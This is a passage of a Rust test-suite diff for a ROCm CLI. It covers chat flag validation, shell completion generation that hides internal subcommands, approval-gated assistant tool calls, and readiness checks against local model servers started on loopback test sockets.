active_runtime_status: ready - active_runtime_root: D:\\ROCm\\therock_venvs - active_runtime_pip_cache_dir: D:\\ROCm\\therock_venvs\\pip-cache - active_runtime_version: 7.13.0a20260511 (build 2026-05-11) - active_runtime_family: gfx120X-all -", - ) - .expect("examine output should summarize"); - - assert!(summary.contains("GPU: AMD Radeon RX 9070 XT driver 32.0.23033.1002")); - assert!(summary.contains("ROCm/TheRock: installed and active for ROCm CLI")); - assert!(summary.contains("gfx120X-all")); - assert!(summary.contains(r"Install folder: D:\ROCm\therock_venvs")); - assert!(summary.contains(r"Downloads/cache: D:\ROCm\therock_venvs\pip-cache")); - assert!(summary.contains("no global legacy ROCm install was found")); + fn chat_negative_sampling_space_form_reaches_range_validator() { + // Mirrors `serve_negative_sampling_space_form_reaches_range_validator`: the + // same numeric value flags carry `allow_negative_numbers` on `chat`, so the + // space form reaches the value parser instead of clap's unexpected-argument path. + for args in [ + &["--temperature", "-1"][..], + &["--temperature=-1"][..], + &["--top-p", "-0.5"][..], + &["--top-p=-0.5"][..], + &["--max-tokens", "-1"][..], + &["--max-tokens=-1"][..], + ] { + let mut argv = vec!["rocm", "chat", "--prompt", "hi"]; + argv.extend_from_slice(args); + assert_eq!( + Cli::try_parse_from(argv) + .expect_err("negative sampling value is rejected") + .kind(), + clap::error::ErrorKind::ValueValidation, + "expected range validation for {args:?}" + ); + } } #[test] - fn fallback_tool_call_routes_where_installed_to_read_only_examine() { - for prompt in [ - "where is rocm installed?", - "where is TheRock installed?", - "what is the ROCm install folder?", - "where did rocm install to?", - ] { - let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); - assert_eq!(call.name, "examine", "{prompt}"); - assert!(chat_tool_call_is_read_only(&call), "{prompt}"); + fn chat_parses_generation_flags() { + let cli = Cli::try_parse_from([ + "rocm", + "chat", + "--prompt", + "hello", + "--temperature", + "0.5", + "--top-p", + "0.25", + "--max-tokens", + "64", + ]) + .expect("chat generation flags parse"); + match cli.command { + Some(Command::Chat { + temperature, + top_p, + max_tokens, + .. + }) => { + assert_eq!(temperature, Some(0.5)); + assert_eq!(top_p, Some(0.25)); + assert_eq!(max_tokens, Some(64)); + } + other => panic!("expected Chat, got {other:?}"), } } #[test] - fn deterministic_rocm_tool_summary_suppresses_extra_local_model_follow_up() { - let tool_result = ChatToolRunResult { - approval: None, - follow_up_text: "\ -examine: - legacy_rocm_status: not_detected -runtime_state: - active_runtime_status: ready -" - .to_owned(), - ran_read_only_tool: true, - read_only_tool_error: false, - needs_install_folder: false, - }; - let summary = deterministic_rocm_tool_summary(&tool_result.follow_up_text); - - assert!(summary.is_some()); - assert!(!should_request_local_tool_follow_up( - "local", - &tool_result, - summary.as_deref() - )); - - let mut model_list_result = tool_result; - model_list_result.follow_up_text = "rocm_command:\nmodel recipes\n qwen\n".to_owned(); - assert!(should_request_local_tool_follow_up( - "local", - &model_list_result, - None - )); + fn chat_rejects_zero_max_tokens() { + let error = Cli::try_parse_from(["rocm", "chat", "--prompt", "hello", "--max-tokens", "0"]) + .expect_err("zero max-tokens is rejected"); + assert_eq!(error.kind(), clap::error::ErrorKind::ValueValidation); } #[test] - fn deterministic_model_tool_summary_identifies_low_vram_assistant() { - let summary = deterministic_model_tool_summary( - "\ -rocm_command: -model recipes - Qwen3-4B-Instruct-2507-GGUF aliases=[qwen, lemonade-qwen] task=chat dtype=gguf device=gpu_required min_gpu_mem=4 GiB engines=[lemonade] - engine_support: - lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe - warning: recommended Lemonade GGUF assistant for ROCm machines - Qwen3-0.6B-GGUF aliases=[qwen-smoke, lemonade-tiny] task=chat dtype=gguf device=gpu_required min_gpu_mem=2 GiB engines=[lemonade] - engine_support: - lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe - warning: tiny Lemonade GGUF smoke-test model; not the default assistant - Qwen/Qwen2.5-0.5B-Instruct aliases=[qwen-tiny] task=chat dtype=float16 device=gpu_required min_gpu_mem=4 GiB engines=[lemonade] - engine_support: - lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe - Qwen/Qwen3.5-4B aliases=[qwen3.5] task=chat dtype=bfloat16 device=gpu_preferred min_gpu_mem=12 GiB engines=[vllm] - engine_support: - vllm: adapter_available path=D:\\rocm\\rocm-engine-vllm.exe runtime_status=unsupported_native_windows reason=native Windows skipped; use WSL/Linux vLLM ROCm - meta-llama/Llama-3.2-3B-Instruct aliases=[llama] task=chat dtype=bfloat16 device=gpu_preferred min_gpu_mem=8 GiB engines=[lemonade, vllm] - engine_support: - lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe - vllm: available path=D:\\rocm\\rocm-engine-vllm.exe -", - ) - .expect("model output should summarize"); - - assert!(summary.contains("Recommended local assistant: qwen")); - assert!(summary.contains("Qwen3-4B-Instruct-2507-GGUF")); - assert!(summary.contains("4 GiB")); - assert!(summary.contains("Tiny smoke test: qwen-smoke")); - assert!(summary.contains("Qwen3-0.6B-GGUF")); - assert!(summary.contains("8 GiB-class option: llama")); - assert!(summary.contains("lemonade, vllm")); - assert!(summary.contains("Qwen/Qwen3.5-4B asks for 12 GiB")); - assert!(summary.contains("Native Windows note")); - assert!(summary.contains("Run `rocm examine`")); + fn update_rejects_zero_timeout_secs() { + let error = Cli::try_parse_from(["rocm", "update", "--json", "--timeout-secs", "0"]) + .expect_err("zero timeout-secs is rejected"); + assert_eq!(error.kind(), clap::error::ErrorKind::ValueValidation); } #[test] - fn deterministic_model_tool_summary_suppresses_extra_local_model_follow_up() { - let tool_result = ChatToolRunResult { - approval: None, - follow_up_text: "\ -rocm_command: -model recipes - Qwen3-4B-Instruct-2507-GGUF aliases=[qwen] task=chat dtype=gguf device=gpu_required min_gpu_mem=4 GiB engines=[lemonade] - engine_support: - lemonade: available path=D:\\rocm\\rocm-engine-lemonade.exe -" - .to_owned(), - ran_read_only_tool: true, - read_only_tool_error: false, - needs_install_folder: false, - }; - let summary = deterministic_chat_tool_summary(&tool_result.follow_up_text); - - assert!(summary.is_some()); - assert!(!should_request_local_tool_follow_up( - "local", - &tool_result, - summary.as_deref() - )); + fn completions_generate_for_every_shell() { + use clap_complete::Shell; + // The hidden, internal-only verbs that `--help` omits and that must + // therefore never appear in any generated completion script. These are + // matched as substrings of the generated text, so the hidden `status` + // verb is intentionally excluded here: it would collide with the + // visible `comfyui status` / `setup status` subcommands. The hidden + // `status` verb is covered by name equality in + // `completion_command_excludes_hidden_subcommands` instead. + let hidden = [ + "__engine-serve-http", + "__engine-stdio", + "mcp-call", + "sandbox-run", + "bridge-snapshot", + "bootstrap", + ]; + for &shell in Shell::value_variants() { + let mut cmd = completion_command(); + let mut buf: Vec = Vec::new(); + clap_complete::generate(shell, &mut cmd, "rocm", &mut buf); + assert!(!buf.is_empty(), "no completion output for {shell:?}"); + let output = String::from_utf8(buf).expect("completion output is valid UTF-8"); + for verb in hidden { + assert!( + !output.contains(verb), + "hidden subcommand `{verb}` leaked into {shell:?} completions" + ); + } + // A known visible subcommand must still be present. + assert!( + output.contains("examine"), + "visible subcommand `examine` missing from {shell:?} completions" + ); + } } #[test] - fn chat_tool_call_accepts_assistant_support_command_shapes() { - for (call, expected_command, read_only) in [ - ( - providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ "args": ["examine"] }), - }, - Some("rocm examine"), - true, - ), - ( - providers::ChatToolCall { - id: None, - name: "gpu_snapshot".to_owned(), - arguments: serde_json::json!({}), - }, - None, - true, - ), - ( - providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ "args": ["model"] }), - }, - Some("rocm model"), - true, - ), - ( - providers::ChatToolCall { - id: None, - name: "install_sdk".to_owned(), - arguments: serde_json::json!({ - "channel": "release", - "format": "wheel", - "prefix": "D:\\ROCm\\therock_venvs" - }), - }, - Some( - "rocm install sdk --channel release --format wheel --approve-replacing-active-default --prefix D:\\ROCm\\therock_venvs", - ), - false, - ), - ( - providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ "args": ["comfyui", "install"] }), - }, - Some("rocm comfyui install --yes"), - false, - ), - ( - providers::ChatToolCall { - id: None, - name: "launch_server".to_owned(), - arguments: serde_json::json!({ - "model": "qwen", - "engine": "vllm", - "device": "gpu_required" - }), - }, - Some("rocm serve qwen --managed --engine vllm --device gpu_required"), - false, - ), + fn completion_command_excludes_hidden_subcommands() { + let names: Vec = completion_command() + .get_subcommands() + .map(|sc| sc.get_name().to_owned()) + .collect(); + // Visible subcommands are preserved. + assert!( + names.iter().any(|n| n == "examine"), + "filtered command tree dropped a visible subcommand; got {names:?}" + ); + assert!( + names.iter().any(|n| n == "completions"), + "filtered command tree dropped `completions`; got {names:?}" + ); + // Hidden subcommands are excluded. + for hidden in [ + "__engine-serve-http", + "__engine-stdio", + "mcp-call", + "sandbox-run", + "bridge-snapshot", + "bootstrap", + "status", ] { - validate_chat_tool_call(&call).expect("assistant support tool should validate"); - assert_eq!( - chat_tool_call_is_read_only(&call), - read_only, - "{}", - call.name + assert!( + !names.iter().any(|n| n == hidden), + "filtered command tree still exposes hidden subcommand `{hidden}`; got {names:?}" ); - if let Some(expected_command) = expected_command { - assert_eq!( - rocm_chat_tool_requested_command(&call).as_deref(), - Some(expected_command) - ); - } } + // The full derived command (used for runtime dispatch) keeps them. + let full_names: Vec = Cli::command() + .get_subcommands() + .map(|sc| sc.get_name().to_owned()) + .collect(); + assert!( + full_names.iter().any(|n| n == "__engine-stdio"), + "runtime command tree must retain hidden verbs for dispatch; got {full_names:?}" + ); } #[test] - fn chat_rocm_command_routes_comfyui_and_engine_actions() { - let comfy_install = providers::ChatToolCall { - id: Some("call-comfy".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["comfyui", "install"], - "reason": "The user asked me to install ComfyUI." - }), - }; - validate_chat_tool_call(&comfy_install).expect("ComfyUI install should validate"); - assert!(!chat_tool_call_is_read_only(&comfy_install)); - assert_eq!( - rocm_chat_tool_requested_command(&comfy_install).as_deref(), - Some("rocm comfyui install --yes") + fn completions_command_is_structured_not_freeform() { + use clap_complete::Shell; + for &shell in Shell::value_variants() { + let shell_arg = shell.to_string(); + let invocation = + parse_freeform_invocation(&["completions".to_owned(), shell_arg.clone()]); + assert!( + !should_treat_as_freeform(&invocation), + "`completions {shell_arg}` must dispatch as a structured command, not freeform" + ); + // It must also parse cleanly through the structured clap parser. + let cli = Cli::try_parse_from(["rocm", "completions", &shell_arg]) + .expect("completions should parse via Cli"); + assert!(matches!(cli.command, Some(Command::Completions { .. }))); + } + } + + #[test] + fn completions_rejects_unknown_shell() { + // An unrecognized shell must be a hard parse error (non-zero exit in + // `main`), not silently treated as natural language or accepted. + let invocation = + parse_freeform_invocation(&["completions".to_owned(), "notashell".to_owned()]); + assert!( + !should_treat_as_freeform(&invocation), + "`completions notashell` must stay on the structured path so clap reports the error" ); - let approval = chat_tool_approval_request(&comfy_install, Some("Install ComfyUI now.")) - .expect("approval should be built"); - assert_eq!(approval.pending_title, "Install ComfyUI"); - assert_eq!(approval.command_title, "ComfyUI"); - assert_eq!( - approval.args, - vec![ - "comfyui".to_owned(), - "install".to_owned(), - "--yes".to_owned() - ] + let parsed = Cli::try_parse_from(["rocm", "completions", "notashell"]); + assert!( + parsed.is_err(), + "an unknown shell must fail to parse rather than being accepted" ); + } - let lemonade = providers::ChatToolCall { - id: Some("call-lemonade".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["engines", "install", "lemonade"] - }), - }; - validate_chat_tool_call(&lemonade).expect("lemonade engine install should validate"); - assert!(!chat_tool_call_is_read_only(&lemonade)); - assert_eq!( - rocm_chat_tool_requested_command(&lemonade).as_deref(), - Some("rocm engines install lemonade") - ); - let approval = - chat_tool_approval_request(&lemonade, Some("Install Lemonade for local serving.")) - .expect("approval should be built"); - assert_eq!(approval.pending_title, "Install engine"); - assert_eq!(approval.command_title, "Engine"); + #[test] + fn service_http_readiness_requires_loaded_lemonade_model() { + let loading = json!({ "all_models_loaded": [] }).to_string(); + assert!(!service_http_readiness_response_ready( + "lemonade", + "/v1/health", + 200, + &loading, + "Qwen3-0.6B-GGUF" + )); - let vllm = providers::ChatToolCall { - id: Some("call-vllm".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["engines", "install", "vllm"] - }), - }; - validate_chat_tool_call(&vllm).expect("vLLM engine install should validate"); - assert!(!chat_tool_call_is_read_only(&vllm)); - assert_eq!( - rocm_chat_tool_requested_command(&vllm).as_deref(), - Some("rocm engines install vllm") - ); - let approval = chat_tool_approval_request(&vllm, Some("Install vLLM for Linux/WSL.")) - .expect("approval should be built"); - assert_eq!(approval.pending_title, "Install engine"); - assert_eq!(approval.command_title, "Engine"); + let loaded = json!({ + "all_models_loaded": [{ + "model_name": "Qwen3-0.6B-GGUF", + "recipe_options": { "llamacpp_backend": "rocm" } + }] + }) + .to_string(); + assert!(service_http_readiness_response_ready( + "lemonade", + "/v1/health", + 200, + &loaded, + "Qwen3-0.6B-GGUF" + )); - let comfy_start = providers::ChatToolCall { - id: Some("call-comfy-start".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["comfyui", "start"] - }), - }; - validate_chat_tool_call(&comfy_start).expect("ComfyUI start should validate"); - assert!(!chat_tool_call_is_read_only(&comfy_start)); - let approval = chat_tool_approval_request(&comfy_start, Some("Start ComfyUI locally.")) - .expect("approval should be built"); - assert_eq!(approval.pending_title, "Start ComfyUI"); - assert_eq!(approval.command_title, "ComfyUI"); + let loaded_cpu = json!({ + "all_models_loaded": [{ + "model_name": "Qwen3-0.6B-GGUF", + "recipe_options": { "llamacpp_backend": "cpu" } + }] + }) + .to_string(); + assert!(!service_http_readiness_response_ready( + "lemonade", + "/v1/health", + 200, + &loaded_cpu, + "Qwen3-0.6B-GGUF" + )); + } - let serve = providers::ChatToolCall { - id: Some("call-serve".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["serve", "qwen", "--engine", "vllm", "--device", "gpu_required", "--managed"] - }), - }; - validate_chat_tool_call(&serve).expect("managed serve should validate"); - assert!(!chat_tool_call_is_read_only(&serve)); - assert_eq!( - rocm_chat_tool_requested_command(&serve).as_deref(), - Some("rocm serve qwen --engine vllm --device gpu_required --managed") - ); - let approval = chat_tool_approval_request(&serve, Some("Start the recommended assistant.")) - .expect("approval should be built"); - assert_eq!(approval.pending_title, "Start local model server"); - assert_eq!(approval.command_title, "Serve"); + #[test] + fn service_http_readiness_requires_model_list_entry() { + let empty = json!({ "data": [] }).to_string(); + assert!(!service_http_readiness_response_ready( + "vllm", + "/v1/models", + 200, + &empty, + "tiny.gguf" + )); - let vllm_serve = providers::ChatToolCall { - id: Some("call-vllm-serve".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["serve", "Qwen/Qwen3.5-4B", "--engine", "vllm", "--device", "gpu_required", "--managed"] - }), - }; - validate_chat_tool_call(&vllm_serve).expect("managed vLLM serve should validate"); - assert!(!chat_tool_call_is_read_only(&vllm_serve)); - assert_eq!( - rocm_chat_tool_requested_command(&vllm_serve).as_deref(), - Some("rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed") - ); + let models = json!({ "data": [{ "id": "tiny.gguf" }] }).to_string(); + assert!(service_http_readiness_response_ready( + "vllm", + "/v1/models", + 200, + &models, + "tiny.gguf" + )); - let config = providers::ChatToolCall { - id: Some("call-config".to_owned()), - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["config", "set-default-engine", "vllm"] - }), - }; - validate_chat_tool_call(&config).expect("config change should validate"); - assert!(!chat_tool_call_is_read_only(&config)); - let approval = chat_tool_approval_request(&config, Some("Use vLLM as the default engine.")) - .expect("approval should be built"); - assert_eq!(approval.pending_title, "Change settings"); - assert_eq!(approval.command_title, "Config"); + let lemonade_cpu_models = json!({ + "data": [{ + "id": "Qwen3-0.6B-GGUF", + "recipe_options": { "llamacpp_backend": "cpu" } + }] + }) + .to_string(); + assert!(!service_http_readiness_response_ready( + "lemonade", + "/v1/models", + 200, + &lemonade_cpu_models, + "Qwen3-0.6B-GGUF" + )); + + let lemonade_rocm_models = json!({ + "data": [{ + "id": "Qwen3-0.6B-GGUF", + "recipe_options": { "llamacpp_backend": "rocm" } + }] + }) + .to_string(); + assert!(service_http_readiness_response_ready( + "lemonade", + "/v1/models", + 200, + &lemonade_rocm_models, + "Qwen3-0.6B-GGUF" + )); + + assert!(!service_http_readiness_response_ready( + "vllm", + "/health", + 200, + "OK", + "tiny.gguf" + )); + assert!(!service_http_readiness_response_ready( + "vllm", + "/healthz", + 200, + "OK", + "Qwen3-0.6B-GGUF" + )); } #[test] - fn setup_status_is_read_only() { - for args in [ - vec!["setup".to_owned()], - vec!["setup".to_owned(), "status".to_owned()], - ] { - let action = - chat_rocm_command_action_from_args(args.clone()).expect("setup status classifies"); - assert!( - matches!(action, ChatRocmCommandAction::ReadOnly(_)), - "setup {args:?} should be read-only, got {action:?}" - ); - } + fn lemonade_direct_serve_model_reads_ready_without_recipe_options() { + // The HF direct-serve path runs a stock llama-server whose `/v1/models` entry + // has no `recipe_options`. It must read as ready by name (that path is GPU-only), + // while a registered-but-unloaded lemonade entry (empty `recipe_options`) must not. + let direct = json!({ + "data": [{ "id": "LiquidAI/LFM2.5-230M-GGUF:Q4_0", "object": "model" }] + }) + .to_string(); + assert!(service_http_readiness_response_ready( + "lemonade", + "/v1/models", + 200, + &direct, + "LiquidAI/LFM2.5-230M-GGUF:Q4_0" + )); + + let registered = json!({ + "data": [{ "id": "LiquidAI/LFM2.5-230M-GGUF:Q4_0", "recipe_options": {} }] + }) + .to_string(); + assert!(!service_http_readiness_response_ready( + "lemonade", + "/v1/models", + 200, + ®istered, + "LiquidAI/LFM2.5-230M-GGUF:Q4_0" + )); } #[test] - fn storage_report_is_read_only_and_removal_requires_approval() { - for args in [ - vec!["storage".to_owned()], - vec!["storage".to_owned(), "report".to_owned()], - ] { - let action = chat_rocm_command_action_from_args(args.clone()) - .expect("storage report classifies"); - assert!( - matches!(action, ChatRocmCommandAction::ReadOnly(_)), - "storage {args:?} only measures folders, so it should be read-only, got {action:?}" - ); - } + fn lemonade_stop_unloads_selected_model_over_http() -> Result<()> { + use std::io::{Read, Write}; + use std::net::TcpListener; + use std::sync::mpsc; - for verb in ["remove-old-installs", "remove-downloads"] { - let action = - chat_rocm_command_action_from_args(vec!["storage".to_owned(), verb.to_owned()]) - .expect("storage removal classifies"); - match action { - ChatRocmCommandAction::Approval { args, .. } => { - assert!( - args.iter().any(|arg| arg == "--yes"), - "approved removal runs non-interactively: {args:?}" - ); + let listener = TcpListener::bind(("127.0.0.1", 0))?; + let port = listener.local_addr()?.port(); + let (sender, receiver) = mpsc::channel(); + let handle = thread::spawn(move || -> Result<()> { + let (mut stream, _) = listener.accept()?; + stream.set_read_timeout(Some(Duration::from_secs(2)))?; + let mut request = Vec::new(); + let mut buffer = [0_u8; 512]; + loop { + let read = stream.read(&mut buffer)?; + if read == 0 { + break; } - other @ ChatRocmCommandAction::ReadOnly(_) => { - panic!("storage {verb} must require approval, got {other:?}") + request.extend_from_slice(&buffer[..read]); + let text = String::from_utf8_lossy(&request); + if let Some((headers, body)) = text.split_once("\r\n\r\n") { + let expected = headers + .lines() + .find_map(|line| line.strip_prefix("Content-Length: ")) + .and_then(|value| value.trim().parse::().ok()) + .unwrap_or(0); + if body.len() >= expected { + break; + } } } - } + let text = String::from_utf8(request).context("request was not utf-8")?; + sender.send(text).ok(); + stream.write_all( + b"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: 35\r\nConnection: close\r\n\r\n{\"status\":\"success\",\"message\":\"ok\"}", + )?; + Ok(()) + }); + + let (_root, paths) = test_paths("lemonade-stop-unload"); + let record = ManagedServiceRecord::new( + &paths, + "svc-qwen", + "lemonade", + "qwen", + "Qwen3-0.6B-GGUF", + "127.0.0.1", + port, + "managed", + 123, + Some("therock-release".to_owned()), + Some("lemonade-embeddable-10.6.0".to_owned()), + Some("gpu_required".to_owned()), + ); + unload_lemonade_service_model(&record)?; + handle.join().expect("listener thread panicked")?; + let request = receiver.recv_timeout(Duration::from_secs(1))?; + assert!(request.starts_with("POST /v1/unload HTTP/1.1")); + assert!(request.contains("\"model_name\":\"Qwen3-0.6B-GGUF\"")); + Ok(()) } #[test] - fn format_bytes_steps_up_instead_of_printing_1024_of_the_smaller_unit() { - assert_eq!(format_bytes(1023), "1023 bytes"); - assert_eq!(format_bytes(1024), "1.0 KiB"); - // One byte short of the next unit used to round to "1024.0 KiB". - assert_eq!(format_bytes(1_048_575), "1.0 MiB"); - assert_eq!(format_bytes(1_048_576), "1.0 MiB"); - assert_eq!(format_bytes(1_073_741_823), "1.0 GiB"); + fn lemonade_stop_unload_is_bounded_by_the_request_timeout() -> Result<()> { + use std::io::{Read, Write}; + use std::net::TcpListener; + use std::time::Instant; + + // Regression test for the stall this PR fixes: a peer that trickles the + // response one byte at a time, never framing or closing, used to stall + // `read_tcp_stream_to_string`'s read-to-EOF loop indefinitely. That hung + // `unload_lemonade_service_model` past its 5s timeout during scenario + // teardown, showing up as an unexplained multi-minute gap. The unload + // call must now return an error at (not far past) its 5s budget. + let listener = TcpListener::bind(("127.0.0.1", 0))?; + let port = listener.local_addr()?.port(); + thread::spawn(move || { + let Ok((mut stream, _)) = listener.accept() else { + return; + }; + stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); + let mut buffer = [0_u8; 512]; + let _ = stream.read(&mut buffer); + let body = b"{\"status\":\"success\",\"message\":\"ok\"}"; + let header = format!( + "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n", + body.len() + ); + let _ = stream.write_all(header.as_bytes()); + // One byte every 300ms never finishes framing the 35-byte body + // inside the 5s unload timeout below, so the bound under test is + // the deadline firing, not the response completing early. + for byte in body { + if stream.write_all(&[*byte]).is_err() { + return; + } + thread::sleep(Duration::from_millis(300)); + } + }); + + let (_root, paths) = test_paths("lemonade-stop-unload-dribble"); + let record = ManagedServiceRecord::new( + &paths, + "svc-qwen", + "lemonade", + "qwen", + "Qwen3-0.6B-GGUF", + "127.0.0.1", + port, + "managed", + 123, + Some("therock-release".to_owned()), + Some("lemonade-embeddable-10.6.0".to_owned()), + Some("gpu_required".to_owned()), + ); + let started = Instant::now(); + assert!(unload_lemonade_service_model(&record).is_err()); + let elapsed = started.elapsed(); + assert!( + elapsed >= Duration::from_secs(4), + "bounded BY the 5s deadline, not failing early: {elapsed:?}" + ); + assert!(elapsed < Duration::from_secs(8), "{elapsed:?}"); + Ok(()) } - /// Just below a unit boundary the value rounds up to a full 1024 of the - /// SMALLER unit, which has to be reported as 1.0 of the larger one — the - /// same defect `rocm_core::format_bytes` had. Each pair is the last input - /// that still belongs to the smaller unit and the first that `{:.1}` rounds - /// up to 1024.0 of it; the second used to print "1024.0 KB" / "1024.0 MB". - #[test] - fn format_bytes_for_user_promotes_a_value_that_rounds_up_to_a_full_unit() { - assert_eq!(format_bytes_for_user(1023), "1023 bytes"); - assert_eq!(format_bytes_for_user(1024), "1.0 KB"); - assert_eq!(format_bytes_for_user(1_048_524), "1023.9 KB"); - assert_eq!(format_bytes_for_user(1_048_525), "1.0 MB"); - assert_eq!(format_bytes_for_user(1_048_575), "1.0 MB"); - assert_eq!(format_bytes_for_user(1_048_576), "1.0 MB"); - assert_eq!(format_bytes_for_user(1_073_689_395), "1023.9 MB"); - assert_eq!(format_bytes_for_user(1_073_689_396), "1.0 GB"); - assert_eq!(format_bytes_for_user(1_073_741_823), "1.0 GB"); - // GB is the top unit: nothing to promote to, so 1024 GB stays in it. - assert_eq!(format_bytes_for_user(1_099_511_627_776), "1024.0 GB"); + #[test] + fn serve_readiness_wait_withholds_ready_while_the_model_only_lists() -> Result<()> { + use std::io::{Read, Write}; + use std::net::TcpListener; + + // This is the wait behind `rocm serve`, and its verdict is what + // `services list` later prints. A model listing on `/v1/models` while + // inference still fails must come back as `Listing` — reporting it ready + // is the false positive users and automation trip over. + let listener = TcpListener::bind(("127.0.0.1", 0))?; + let port = listener.local_addr()?.port(); + let server = thread::spawn(move || -> Result<()> { + // Serve until the wait below gives up and the test drops the socket. + while let Ok((mut stream, _)) = listener.accept() { + stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); + let mut buffer = [0_u8; 1024]; + let Ok(read) = stream.read(&mut buffer) else { + continue; + }; + let request = String::from_utf8_lossy(&buffer[..read]).into_owned(); + let (status_line, body) = if request.starts_with("POST /v1/chat/completions ") { + ("HTTP/1.1 503 Service Unavailable", r#"{"error":"loading"}"#) + } else { + ("HTTP/1.1 200 OK", r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"#) + }; + let _ = write!( + stream, + "{status_line}\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", + body.len(), + body + ); + } + Ok(()) + }); + + let readiness = wait_for_service_http_ready( + "vllm", + "127.0.0.1", + port, + "Qwen3-0.6B-GGUF", + None, + Duration::from_millis(600), + ); + + assert_eq!( + readiness, + EndpointReadiness::Listing, + "a listed-but-unservable model is not ready" + ); + assert_eq!( + status_for_readiness(readiness), + "running", + "a loading service must not be recorded as `starting`, which rocmd \ + restarts once stale" + ); + drop(server); + Ok(()) } - /// The units `format_bytes_for_user` prints, smallest first. - const USER_BYTE_UNITS: [&str; 4] = ["bytes", "KB", "MB", "GB"]; + #[test] + fn serve_readiness_wait_reports_ready_once_inference_answers() -> Result<()> { + use std::io::{Read, Write}; + use std::net::TcpListener; - /// Byte counts that actually visit the unit boundaries. A uniform `u64` - /// almost always lands far above the top unit, so on its own it never - /// samples the band where `{:.1}` rounding reaches 1024.0. The other arms - /// draw uniformly within one unit's range, and from a window just below - /// each rounded boundary (KB→MB, MB→GB) that scales with the boundary, as - /// the band does — see `rocm_core::disk_space`'s generator for the full - /// reasoning. - fn user_byte_count_strategy() -> impl proptest::strategy::Strategy { - use proptest::prelude::*; - prop_oneof![ - any::(), - (0u32..=3).prop_flat_map(|exponent| { - let low = if exponent == 0 { - 0 + let listener = TcpListener::bind(("127.0.0.1", 0))?; + let port = listener.local_addr()?.port(); + let server = thread::spawn(move || -> Result<()> { + while let Ok((mut stream, _)) = listener.accept() { + stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); + let mut buffer = [0_u8; 1024]; + let Ok(read) = stream.read(&mut buffer) else { + continue; + }; + let request = String::from_utf8_lossy(&buffer[..read]).into_owned(); + let body = if request.starts_with("POST /v1/chat/completions ") { + r#"{"choices":[{"message":{"content":"ok"}}]}"# } else { - 1024u64.pow(exponent) + r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"# }; - low..1024u64.pow(exponent + 1) - }), - (2u32..=3).prop_flat_map(|exponent| { - let boundary = 1024u64.pow(exponent); - (boundary - boundary / 16384)..=(boundary + 1) - }), - ] - } - - proptest::proptest! { - /// A size is rendered in the unit it belongs to, which has two edges. - /// - /// Upper: below the top unit, the printed mantissa is under 1024.0 — - /// otherwise the size is shown in a unit it has outgrown. - /// - /// Lower: above `bytes`, the printed mantissa is at least 1.0, and the - /// next smaller unit would have printed 1024.0 or more — otherwise the - /// size was promoted before it reached a whole unit. - /// - /// Both edges compare the mantissa as printed, in tenths: that is the - /// quantity a reader sees, so it is the one the scaling has to decide on. - #[test] - fn format_bytes_for_user_renders_a_size_in_its_own_unit( - bytes in user_byte_count_strategy(), - ) { - let rendered = format_bytes_for_user(bytes); - let (value, unit) = rendered - .split_once(' ') - .expect("rendered size is ` `"); - let value: f64 = value.parse().expect("numeric part parses"); - let tenths = (value * 10.0).round(); - let exponent = USER_BYTE_UNITS - .iter() - .position(|name| *name == unit) - .expect("rendered unit is one of the known units"); - if exponent + 1 < USER_BYTE_UNITS.len() { - proptest::prop_assert!( - tenths < 10_240.0, - "{bytes} rendered as {rendered}, which should have been \ - promoted to the next unit", - ); - } - if exponent > 0 { - proptest::prop_assert!( - tenths >= 10.0, - "{bytes} rendered as {rendered}, which was promoted before \ - it reached a whole unit", - ); - // Dividing by a power of two is exact, so this is the value the - // smaller unit would have printed, not an approximation of it. - let smaller = (1..exponent).fold(bytes as f64, |value, _| value / 1024.0); - proptest::prop_assert!( - (smaller * 10.0).round() >= 10_240.0, - "{bytes} rendered as {rendered}, but still fits the smaller \ - unit as {smaller:.1} {}", - USER_BYTE_UNITS[exponent - 1], + let _ = write!( + stream, + "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", + body.len(), + body ); } - } + Ok(()) + }); + + let readiness = wait_for_service_http_ready( + "vllm", + "127.0.0.1", + port, + "Qwen3-0.6B-GGUF", + None, + Duration::from_secs(5), + ); + + assert_eq!(readiness, EndpointReadiness::Serving); + assert_eq!(status_for_readiness(readiness), "ready"); + drop(server); + Ok(()) } #[test] - fn setup_reset_requires_approval() { - let action = - chat_rocm_command_action_from_args(vec!["setup".to_owned(), "reset".to_owned()]) - .expect("setup reset classifies"); - match action { - ChatRocmCommandAction::Approval { - pending_title, - command_title, - .. - } => { - assert_eq!(pending_title, "Reset first-time setup"); - assert_eq!(command_title, "Setup"); - } - other @ ChatRocmCommandAction::ReadOnly(_) => { - panic!("setup reset should require approval, got {other:?}") + fn serve_readiness_ready_verdict_does_not_wait_for_the_peer_to_close() -> Result<()> { + use std::io::{Read, Write}; + use std::net::TcpListener; + use std::time::Instant; + + // Regression test for the other half of this PR's fix: a response is + // read to completion by its own framing, not by waiting for the peer + // to close. Before this fix, `read_tcp_stream_to_string` blocked + 